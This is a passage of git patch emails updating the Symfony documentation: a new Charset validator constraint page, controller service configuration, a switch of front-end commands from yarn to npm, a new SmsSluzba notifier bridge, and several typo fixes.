-    The ``Bluesky``, ``Unifonic`` and ``Smsbox`` integrations were introduced in Symfony 7.1.
+    The ``Bluesky``, ``Unifonic`` and ``Smsbox`` integrations
+    were introduced in Symfony 7.1.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 35e2703636f49277122c1d158d3c989e930cd6be Mon Sep 17 00:00:00 2001
From: Franklin LIA <46316603+lbbyf@users.noreply.github.com>
Date: Mon, 18 Dec 2023 10:51:26 +0100
Subject: [PATCH 4221/5766] Update routing.rst

In Symfony version 7, we don't have a loader for the annotations
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 77b035ddd16..941c074cb0d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2600,7 +2600,7 @@ same URL, but with the HTTPS scheme.
 
 If you want to force a group of routes to use HTTPS, you can define the default
 scheme when importing them. The following example forces HTTPS on all routes
-defined as annotations:
+defined as attributes:
 
 .. configuration-block::
 

From bc95bcc4e0df59e662366c9809f636c82a5964a8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 27 Dec 2023 09:45:56 +0100
Subject: [PATCH 4222/5766] Rename `addHeader` to `setHeader`

---
 http_client.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 09c8aaa28b6..1966dfba064 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -152,14 +152,14 @@ brings most of the available options with type-hinted getters and setters::
             ->setBaseUri('https://...')
             // replaces *all* headers at once, and deletes the headers you do not provide
             ->setHeaders(['header-name' => 'header-value'])
-            // add or replace a single header using addHeader()
-            ->addHeader('another-header-name', 'another-header-value')
+            // set or replace a single header using addHeader()
+            ->setHeader('another-header-name', 'another-header-value')
             ->toArray()
     );
 
 .. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\HttpClient\\HttpOptions::addHeader`
+    The :method:`Symfony\\Component\\HttpClient\\HttpOptions::setHeader`
     method was introduced in Symfony 7.1.
 
 Some options are described in this guide:

From 78703b5aae4a0327c8fc0e5cc290f82e0e679530 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 27 Dec 2023 11:29:37 +0100
Subject: [PATCH 4223/5766] [Validator] Add `Charset` constraint

---
 reference/constraints/Charset.rst | 112 ++++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc |   1 +
 2 files changed, 113 insertions(+)
 create mode 100644 reference/constraints/Charset.rst

diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst
new file mode 100644
index 00000000000..6f8592fa5e1
--- /dev/null
+++ b/reference/constraints/Charset.rst
@@ -0,0 +1,112 @@
+Charset
+=======
+
+.. versionadded:: 7.1
+
+    The ``Charset`` constraint was introduced in Symfony 7.1.
+
+Validates that a string is encoded in a given charset.
+
+==========  =====================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Charset`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CharsetValidator`
+==========  =====================================================================
+
+Basic Usage
+-----------
+
+If you wanted to ensure that the ``content`` property of an ``FileDTO``
+class uses UTF-8, you could do the following:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/FileDTO.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class FileDTO
+        {
+            #[Assert\Charset('UTF-8')]
+            protected string $content;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\FileDTO:
+            properties:
+                content:
+                    - Charset: 'UTF-8'
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\FileDTO">
+                <property name="content">
+                    <constraint name="Charset">
+                        <option name="charset">UTF-8</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/FileDTO.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class FileDTO
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('content', new Assert\Charset('UTF-8'));
+            }
+        }
+
+Options
+-------
+
+``encodings``
+~~~~~~~~~~~~~
+
+**type**: ``array`` | ``string`` **default**: ``[]``
+
+An encoding or a set of encodings to check against. If you pass an array of
+encodings, the validator will check if the value is encoded in *any* of the
+encodings. This option accept any value that can be passed to
+:phpfunction:`mb_detect_encoding()`.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The detected encoding "{{ detected }}" does not match one of the accepted encoding: "{{ encodings }}".``
+
+This is the message that will be shown if the value does not match any of the
+accepted encodings.
+
+You can use the following parameters in this message:
+
+===================  ==============================================================
+Parameter            Description
+===================  ==============================================================
+``{{ detected }}``   The detected encoding
+``{{ encodings }}``  The accepted encodings
+===================  ==============================================================
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 2fa03ac9a3e..a9692062d28 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -31,6 +31,7 @@ String Constraints
 * :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
 * :doc:`CssColor </reference/constraints/CssColor>`
 * :doc:`NoSuspiciousCharacters </reference/constraints/NoSuspiciousCharacters>`
+* :doc:`Charset </reference/constraints/Charset>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~

From 412a45089424636f2aa2826ffbd1e28b2a525d0d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 27 Dec 2023 13:41:29 +0100
Subject: [PATCH 4224/5766] Add a note about configuring controllers without
 autowire/autoconfigure

---
 controller/service.rst | 34 ++++++++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)

diff --git a/controller/service.rst b/controller/service.rst
index 50ee34a1aac..fff46377378 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -25,6 +25,40 @@ in method parameters:
            resource: '../src/Controller/'
            tags: ['controller.service_arguments']
 
+.. note::
+
+    If you don't use either :doc:`autowiring </service_container/autowiring>`
+    or :ref:`autoconfiguration <services-autoconfigure>` and you extend the
+    ``AbstractController``, you'll need to apply other tags and make some method
+    calls to register your controllers as services:
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+
+        # this extended configuration is only required when not using autowiring/autoconfiguration,
+        # which is uncommon and not recommended
+
+        abstract_controller.locator:
+            class: Symfony\Component\DependencyInjection\ServiceLocator
+            arguments:
+                -
+                    router: '@router'
+                    request_stack: '@request_stack'
+                    http_kernel: '@http_kernel'
+                    session: '@session'
+                    parameter_bag: '@parameter_bag'
+                    # you can add more services here as you need them (e.g. the `serializer`
+                    # service) and have a look at the AbstractController class to see
+                    # which services are defined in the locator
+
+        App\Controller\:
+            resource: '../src/Controller/'
+            tags: ['controller.service_arguments']
+            calls:
+                - [setContainer, ['@abstract_controller.locator']]
+
+
 If you prefer, you can use the ``#[AsController]`` PHP attribute to automatically
 apply the ``controller.service_arguments`` tag to your controller services::
 

From 8be633a9f9fad9b59264dd62ae426b2a9cc478f5 Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Wed, 27 Dec 2023 10:26:07 +0100
Subject: [PATCH 4225/5766] [Intl] Remove warning about replacement layer

---
 components/intl.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 5ec6c4b7011..a592ddf4fea 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -3,13 +3,6 @@ The Intl Component
 
     This component provides access to the localization data of the `ICU library`_.
 
-.. caution::
-
-    The replacement layer is limited to the ``en`` locale. If you want to use
-    other locales, you should `install the intl extension`_. There is no conflict
-    between the two because, even if you use the extension, this package can still
-    be useful to access the ICU data.
-
 .. seealso::
 
     This article explains how to use the Intl features as an independent component
@@ -430,7 +423,6 @@ Learn more
     /reference/forms/types/locale
     /reference/forms/types/timezone
 
-.. _install the intl extension: https://www.php.net/manual/en/intl.setup.php
 .. _ICU library: https://icu.unicode.org/
 .. _`Unicode ISO 15924 Registry`: https://www.unicode.org/iso15924/iso15924-codes.html
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2

From 981adcd2f8cd63586394b5b4f68785ec4c2339b5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micha=C5=82=20Wilczy=C5=84ski?=
 <michal.wilczynski@safekiddo.com>
Date: Mon, 30 Jan 2023 21:25:13 +0100
Subject: [PATCH 4226/5766] =?UTF-8?q?Added=20description=20to=20improved?=
 =?UTF-8?q?=20bin/console=20debug:container=20--env-vars=20=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 configuration.rst | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 5e78afd93ae..c946a6ee63b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -871,19 +871,21 @@ Use the ``debug:dotenv`` command to understand how Symfony parses the different
     The option to pass variable names to ``debug:dotenv`` was introduced in Symfony 6.2.
 
 Additionally, and regardless of how you set environment variables, you can see all
-environment variables, with their values, referenced in Symfony's container configuration:
+environment variables, with their values, referenced in Symfony's container configuration,
+you can also see the number of occurrences of each environment variable in the container:
 
 .. code-block:: terminal
 
     $ php bin/console debug:container --env-vars
 
-    ---------------- ----------------- ---------------------------------------------
-     Name             Default value     Real value
-    ---------------- ----------------- ---------------------------------------------
-     APP_SECRET       n/a               "471a62e2d601a8952deb186e44186cb3"
-     FOO              "[1, "2.5", 3]"   n/a
-     BAR              null              n/a
-    ---------------- ----------------- ---------------------------------------------
+    ------------ ----------------- ------------------------------------ -------------
+     Name         Default value     Real value                           Usage count
+    ------------ ----------------- ------------------------------------ -------------
+     APP_SECRET   n/a               "471a62e2d601a8952deb186e44186cb3"   2
+     BAR          n/a               n/a                                  1
+     BAZ          n/a               "value"                              0
+     FOO          "[1, "2.5", 3]"   n/a                                  1
+    ------------ ----------------- ------------------------------------ -------------
 
     # you can also filter the list of env vars by name:
     $ php bin/console debug:container --env-vars foo

From 17663e273ec9b29b3ad42e50ea9c5a35d8ab1c30 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 28 Dec 2023 00:12:25 +0100
Subject: [PATCH 4227/5766] fix typos

---
 reference/constraints/Charset.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Charset.rst b/reference/constraints/Charset.rst
index 6f8592fa5e1..5dfa7037c6b 100644
--- a/reference/constraints/Charset.rst
+++ b/reference/constraints/Charset.rst
@@ -16,7 +16,7 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CharsetValidator
 Basic Usage
 -----------
 
-If you wanted to ensure that the ``content`` property of an ``FileDTO``
+If you wanted to ensure that the ``content`` property of a ``FileDTO``
 class uses UTF-8, you could do the following:
 
 .. configuration-block::
@@ -87,7 +87,7 @@ Options
 
 An encoding or a set of encodings to check against. If you pass an array of
 encodings, the validator will check if the value is encoded in *any* of the
-encodings. This option accept any value that can be passed to
+encodings. This option accepts any value that can be passed to
 :phpfunction:`mb_detect_encoding()`.
 
 .. include:: /reference/constraints/_groups-option.rst.inc

From c33618bd07a5903289889c5218a9d62ca292c25e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 Dec 2023 17:29:44 +0100
Subject: [PATCH 4228/5766] Remove yarn commands in front-end docs

---
 .doctor-rst.yaml                    |  1 -
 frontend/create_ux_bundle.rst       |  4 ++--
 frontend/encore/advanced-config.rst |  4 ----
 frontend/encore/bootstrap.rst       |  9 ---------
 frontend/encore/dev-server.rst      | 14 +-------------
 frontend/encore/faq.rst             |  8 ++++----
 frontend/encore/installation.rst    | 27 ++++++---------------------
 frontend/encore/postcss.rst         |  6 +-----
 frontend/encore/reactjs.rst         |  6 +-----
 frontend/encore/simple-example.rst  | 24 +-----------------------
 frontend/encore/vuejs.rst           |  4 ----
 setup/symfony_server.rst            | 12 ++++++------
 12 files changed, 22 insertions(+), 97 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 950324be7e4..c61210111a0 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -65,7 +65,6 @@ rules:
     valid_use_statements: ~
     versionadded_directive_should_have_version: ~
     yaml_instead_of_yml_suffix: ~
-    yarn_dev_option_at_the_end: ~
 
     #   master
     versionadded_directive_major_version:
diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index eaadd3f1e41..87d6b123e42 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -87,11 +87,11 @@ In this case, the file located at ``[assets directory]/dist/controller.js`` will
                }
            }
 
-    2. Run either ``npm install`` or ``yarn install`` to install the new dependencies.
+    2. Run ``npm install`` to install the new dependencies.
 
     3. Write your Stimulus controller with TypeScript in ``src/controller.ts``.
 
-    4. Run ``npm run build`` or ``yarn run build`` to transpile your TypeScript controller into JavaScript.
+    4. Run ``npm run build`` to transpile your TypeScript controller into JavaScript.
 
 To use your controller in a template (e.g. one defined in your bundle) you can use it like this:
 
diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index cfe50ee1658..dec07e5d7b9 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -105,10 +105,6 @@ prefer to build configs separately, pass the ``--config-name`` option:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn encore dev --config-name firstConfig
-
-    # if you use the npm package manager
     $ npm run dev -- --config-name firstConfig
 
 Next, define the output directories of each build:
diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index f5b3959eafd..f027b22ddc4 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -7,10 +7,6 @@ First, to be able to customize things further, we'll install ``bootstrap``:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn add bootstrap --dev
-
-    # if you use the npm package manager
     $ npm install bootstrap --save-dev
 
 Importing Bootstrap Styles
@@ -46,11 +42,6 @@ used in your application:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    # (jQuery is only required in versions prior to Bootstrap 5)
-    $ yarn add jquery @popperjs/core --dev
-
-    # if you use the npm package manager
     # (jQuery is only required in versions prior to Bootstrap 5)
     $ npm install jquery @popperjs/core --save-dev
 
diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 4feecb3deec..5112b99448d 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -1,15 +1,11 @@
 Using webpack-dev-server and HMR
 ================================
 
-While developing, instead of using ``yarn encore dev --watch``, you can use the
+While developing, instead of using ``npx encore dev --watch``, you can use the
 `webpack-dev-server`_:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn encore dev-server
-
-    # if you use the npm package manager
     $ npm run dev-server
 
 This builds and serves the front-end assets from a new server. This server runs at
@@ -30,10 +26,6 @@ You can set these options via command line options:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn encore dev-server --port 9000
-
-    # if you use the npm package manager
     $ npm run dev-server -- --port 9000
 
 You can also set these options using the ``Encore.configureDevServerOptions()``
@@ -90,10 +82,6 @@ server SSL certificate:
 
     .. code-block:: terminal
 
-        # if you use the Yarn package manager
-        $ NODE_OPTIONS=--openssl-legacy-provider yarn encore dev-server
-
-        # if you use the npm package manager
         $ NODE_OPTIONS=--openssl-legacy-provider npm run dev-server
 
 CORS Issues
diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index 60dc7cc9e9d..709df68d2b3 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -53,7 +53,7 @@ and the built files. Your ``.gitignore`` file should include:
     # whatever path you're passing to Encore.setOutputPath()
     /public/build
 
-You *should* commit all of your source asset files, ``package.json`` and ``yarn.lock`` or ``package-lock.json``.
+You *should* commit all of your source asset files, ``package.json`` and ``package-lock.json``.
 
 My App Lives under a Subdirectory
 ---------------------------------
@@ -105,8 +105,8 @@ file script tag is rendered automatically.
 This dependency was not found: some-module in ./path/to/file.js
 ---------------------------------------------------------------
 
-Usually, after you install a package via yarn or npm, you can require / import
-it to use it. For example, after running ``yarn add respond.js`` or ``npm install respond.js``,
+Usually, after you install a package via npm, you can require / import
+it to use it. For example, after running ``npm install respond.js``,
 you try to require that module:
 
 .. code-block:: javascript
@@ -151,7 +151,7 @@ productive (for example by resolving aliases). However, you may face this error:
     calling Encore directly.
 
 It fails because the Encore Runtime Environment is only configured when you are
-running it (e.g. when executing ``yarn encore dev``). Fix this issue calling to
+running it (e.g. when executing ``npx encore dev``). Fix this issue calling to
 ``Encore.isRuntimeEnvironmentConfigured()`` and
 ``Encore.configureRuntimeEnvironment()`` methods:
 
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 118e15e7b0e..1753b770b36 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -1,12 +1,8 @@
 Installing Encore
 =================
 
-First, make sure you `install Node.js`_. Optionally you can also install the
-`Yarn package manager`_. In the next sections you will always see the commands
-for both ``npm`` and ``yarn``, but you only need to run one of them.
-
-The following instructions depend on whether you are installing Encore in a
-Symfony application or not.
+First, make sure you `install Node.js`_. Then, follow the instructions below,
+which depend on whether you are installing Encore in a Symfony application or not.
 
 Installing Encore in Symfony Applications
 -----------------------------------------
@@ -17,11 +13,6 @@ project:
 .. code-block:: terminal
 
     $ composer require symfony/webpack-encore-bundle
-
-    # if you use the Yarn package manager
-    $ yarn install
-
-    # if you use the npm package manager
     $ npm install
 
 If you are using :ref:`Symfony Flex <symfony-flex>`, this will install and enable
@@ -36,24 +27,19 @@ and files by yourself following the instructions shown in the next section.
 Installing Encore in non Symfony Applications
 ---------------------------------------------
 
-Install Encore into your project via Yarn:
+Install Encore into your project via npm:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn add @symfony/webpack-encore --dev
-
-    # if you use the npm package manager
     $ npm install @symfony/webpack-encore --save-dev
 
 This command creates (or modifies) a ``package.json`` file and downloads
-dependencies into a ``node_modules/`` directory. Yarn also creates/updates a
-``yarn.lock`` (called ``package-lock.json`` if you use npm).
+dependencies into a ``node_modules/`` directory.
 
 .. tip::
 
-    You *should* commit ``package.json`` and ``yarn.lock`` (or ``package-lock.json``
-    if using npm) to version control, but ignore ``node_modules/``.
+    You *should* commit ``package.json`` and ``package-lock.json``
+    to version control, but ignore ``node_modules/``.
 
 Creating the webpack.config.js File
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -223,5 +209,4 @@ on which features of Encore you have enabled.
     :doc:`split chunks </frontend/encore/split-chunks>`.
 
 .. _`install Node.js`: https://nodejs.org/en/download/
-.. _`Yarn package manager`: https://yarnpkg.com/getting-started/install
 .. _`WebpackEncoreBundle`: https://github.com/symfony/webpack-encore-bundle
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index 40b2dc43923..9f42f2606d0 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -23,10 +23,6 @@ Next, download any plugins you want, like ``autoprefixer``:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn add autoprefixer --dev
-
-    # if you use the npm package manager
     $ npm install autoprefixer --save-dev
 
 Next, create a ``postcss.config.js`` file at the root of your project:
@@ -36,7 +32,7 @@ Next, create a ``postcss.config.js`` file at the root of your project:
     module.exports = {
         plugins: {
             // include whatever plugins you want
-            // but make sure you install these via yarn or npm!
+            // but make sure you install these via npm!
 
             // add browserslist config to package.json (see below)
             autoprefixer: {}
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index facd7cdcbb6..4660b07603a 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -10,14 +10,10 @@ Enabling React.js
 
     Check out live demos of Symfony UX React component at `https://ux.symfony.com/react`_!
     
-Using React? First add some dependencies with Yarn:
+Using React? First add some dependencies with npm:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn add react react-dom prop-types
-
-    # if you use the npm package manager
     $ npm install react react-dom prop-types --save
 
 Enable react in your ``webpack.config.js``:
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 9ba62c797ee..ce15976e464 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -56,28 +56,20 @@ together and - thanks to the first ``app`` argument - output final ``app.js`` an
 
 .. _encore-build-assets:
 
-To build the assets, run the following if you use the Yarn package manager:
+To build the assets, run the following if you use the npm package manager:
 
 .. code-block:: terminal
 
     # compile assets and automatically re-compile when files change
-    $ yarn watch
-    # or
     $ npm run watch
 
     # or, run a dev-server that can sometimes update your code without refreshing the page
-    $ yarn dev-server
-    # or
     $ npm run dev-server
 
     # compile assets once
-    $ yarn dev
-    # or
     $ npm run dev
 
     # on deploy, create a production build
-    $ yarn build
-    # or
     $ npm run build
 
 All of these commands - e.g. ``dev`` or ``watch`` - are shortcuts that are defined
@@ -186,10 +178,6 @@ We'll use jQuery to print this message on the page. Install it via:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn add jquery --dev
-
-    # if you use the npm package manager
     $ npm install jquery --save-dev
 
 Great! Use ``import`` to import ``jquery`` and ``greet.js``:
@@ -372,10 +360,6 @@ and restart Encore:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn watch
-
-    # if you use the npm package manager
     $ npm run watch
 
 Webpack will now output a new ``checkout.js`` file and a new ``account.js`` file
@@ -437,18 +421,12 @@ Encore. When you do, you'll see an error!
 .. code-block:: terminal
 
     >   Error: Install sass-loader & sass to use enableSassLoader()
-    >     yarn add sass-loader@^13.0.0 sass --dev
 
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn add sass-loader@^13.0.0 sass --dev
-    $ yarn encore dev --watch
-
-    # if you use the npm package manager
     $ npm install sass-loader@^13.0.0 sass --save-dev
     $ npm run watch
 
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index ca39808483e..1c403721188 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -73,10 +73,6 @@ your Vue.js app update *without* a browser refresh! To activate it, use the
 
 .. code-block:: terminal
 
-    # if you use the Yarn package manager
-    $ yarn encore dev-server
-
-    # if you use the npm package manager
     $ npm run dev-server
 
 That's it! Change one of your ``.vue`` files and watch your browser update. But
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 2e61d331bd4..5aa13399c71 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -288,7 +288,7 @@ server provides a ``run`` command to wrap them as follows:
 
     # compile Webpack assets using Symfony Encore ... but do that in the
     # background to not block the terminal
-    $ symfony run -d yarn encore dev --watch
+    $ symfony run -d npx encore dev --watch
 
     # continue working and running other commands...
 
@@ -298,7 +298,7 @@ server provides a ``run`` command to wrap them as follows:
     # and you can also check if the command is still running
     $ symfony server:status
     Web server listening on ...
-    Command "yarn ..." running with PID ...
+    Command "npx ..." running with PID ...
 
     # stop the web server (and all the associated commands) when you are finished
     $ symfony server:stop
@@ -351,9 +351,9 @@ If you like some processes to start automatically, along with the webserver
     # .symfony.local.yaml
     workers:
         # built-in command that builds and watches front-end assets
-        # yarn_encore_watch:
-        #     cmd: ['yarn', 'encore', 'dev', '--watch']
-        yarn_encore_watch: ~
+        # npm_encore_watch:
+        #     cmd: ['npx', 'encore', 'dev', '--watch']
+        npm_encore_watch: ~
 
         # built-in command that starts messenger consumer
         # messenger_consume_async:
@@ -363,7 +363,7 @@ If you like some processes to start automatically, along with the webserver
 
         # you can also add your own custom commands
         build_spa:
-            cmd: ['yarn', '--cwd', './spa/', 'dev']
+            cmd: ['npm', '--cwd', './spa/', 'dev']
 
         # auto start Docker compose when starting server (available since Symfony CLI 5.7.0)
         docker_compose: ~

From 76c29de563d3280abb3456887726b8fe8c5a20d8 Mon Sep 17 00:00:00 2001
From: Pierre du Plessis <pierre@pcservice.co.za>
Date: Thu, 28 Dec 2023 11:34:03 +0200
Subject: [PATCH 4229/5766] [Messenger] Fix typo

---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 2165480247a..31265e52262 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2082,7 +2082,7 @@ Sometimes, you may need to regularly ping a webservice to get its status, e.g.
 is it up or down. It is possible to do so by dispatching a
 :class:`Symfony\\Component\\HttpClient\\Messenger\\PingWebhookMessage`::
 
-    use Symfony\Component\HttpClient\Messenger\RPingWebhookMessage;
+    use Symfony\Component\HttpClient\Messenger\PingWebhookMessage;
     use Symfony\Component\Messenger\MessageBusInterface;
 
     class LivenessService
@@ -2094,10 +2094,10 @@ is it up or down. It is possible to do so by dispatching a
         public function ping(): void
         {
             // An HttpExceptionInterface is thrown on 3xx/4xx/5xx
-            $this->bus->dispatch(new PingWebhookMessage('GET', 'https://example.com/status');
+            $this->bus->dispatch(new PingWebhookMessage('GET', 'https://example.com/status'));
 
             // Ping, but does not throw on 3xx/4xx/5xx
-            $this->bus->dispatch(new PingWebhookMessage('GET', 'https://example.com/status', throw: false);
+            $this->bus->dispatch(new PingWebhookMessage('GET', 'https://example.com/status', throw: false));
 
             // Any valid HttpClientInterface option can be used
             $this->bus->dispatch(new PingWebhookMessage('POST', 'https://example.com/status', [

From 951328319aaf384ae93e2091a7c5dd7bb00fdfaa Mon Sep 17 00:00:00 2001
From: Dennis Fridrich <fridrich.dennis@gmail.com>
Date: Sun, 10 Dec 2023 14:57:22 +0100
Subject: [PATCH 4230/5766] [Notifier] Add docs of sms-sluzba.cz bridge

---
 notifier.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 663398a5c0c..23d6c300216 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -88,6 +88,7 @@ Service             Package                                DSN
 `RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
 `Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 `Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
+`SmsSluzba`_        ``symfony/sms-sluzba-notifier``        ``sms-sluzba://USERNAME:PASSWORD@default``
 `SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
 `Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 `Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
@@ -110,6 +111,10 @@ Service             Package                                DSN
     via webhooks. See the :doc:`Webhook documentation </webhook>` for more
     details.
 
+.. versionadded:: 7.1
+
+    The `SmsSluzba`_ integration was introduced in Symfony 7.1.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -1006,6 +1011,7 @@ is dispatched. Listeners receive a
 .. _`Smsbox`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsbox/README.md
 .. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
 .. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md
+.. _`SmsSluzba`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsSluzba/README.md
 .. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md
 .. _`Telegram`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telegram/README.md
 .. _`Telnyx`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telnyx/README.md

From b995787767e2f356afea15b774904dc93a32f727 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 28 Dec 2023 21:57:15 +0100
Subject: [PATCH 4231/5766] -

---
 notifier.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 23d6c300216..c8aa863413d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -72,7 +72,6 @@ Service             Package                                DSN
 `GoIP`_             ``symfony/goip-notifier``              ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT``
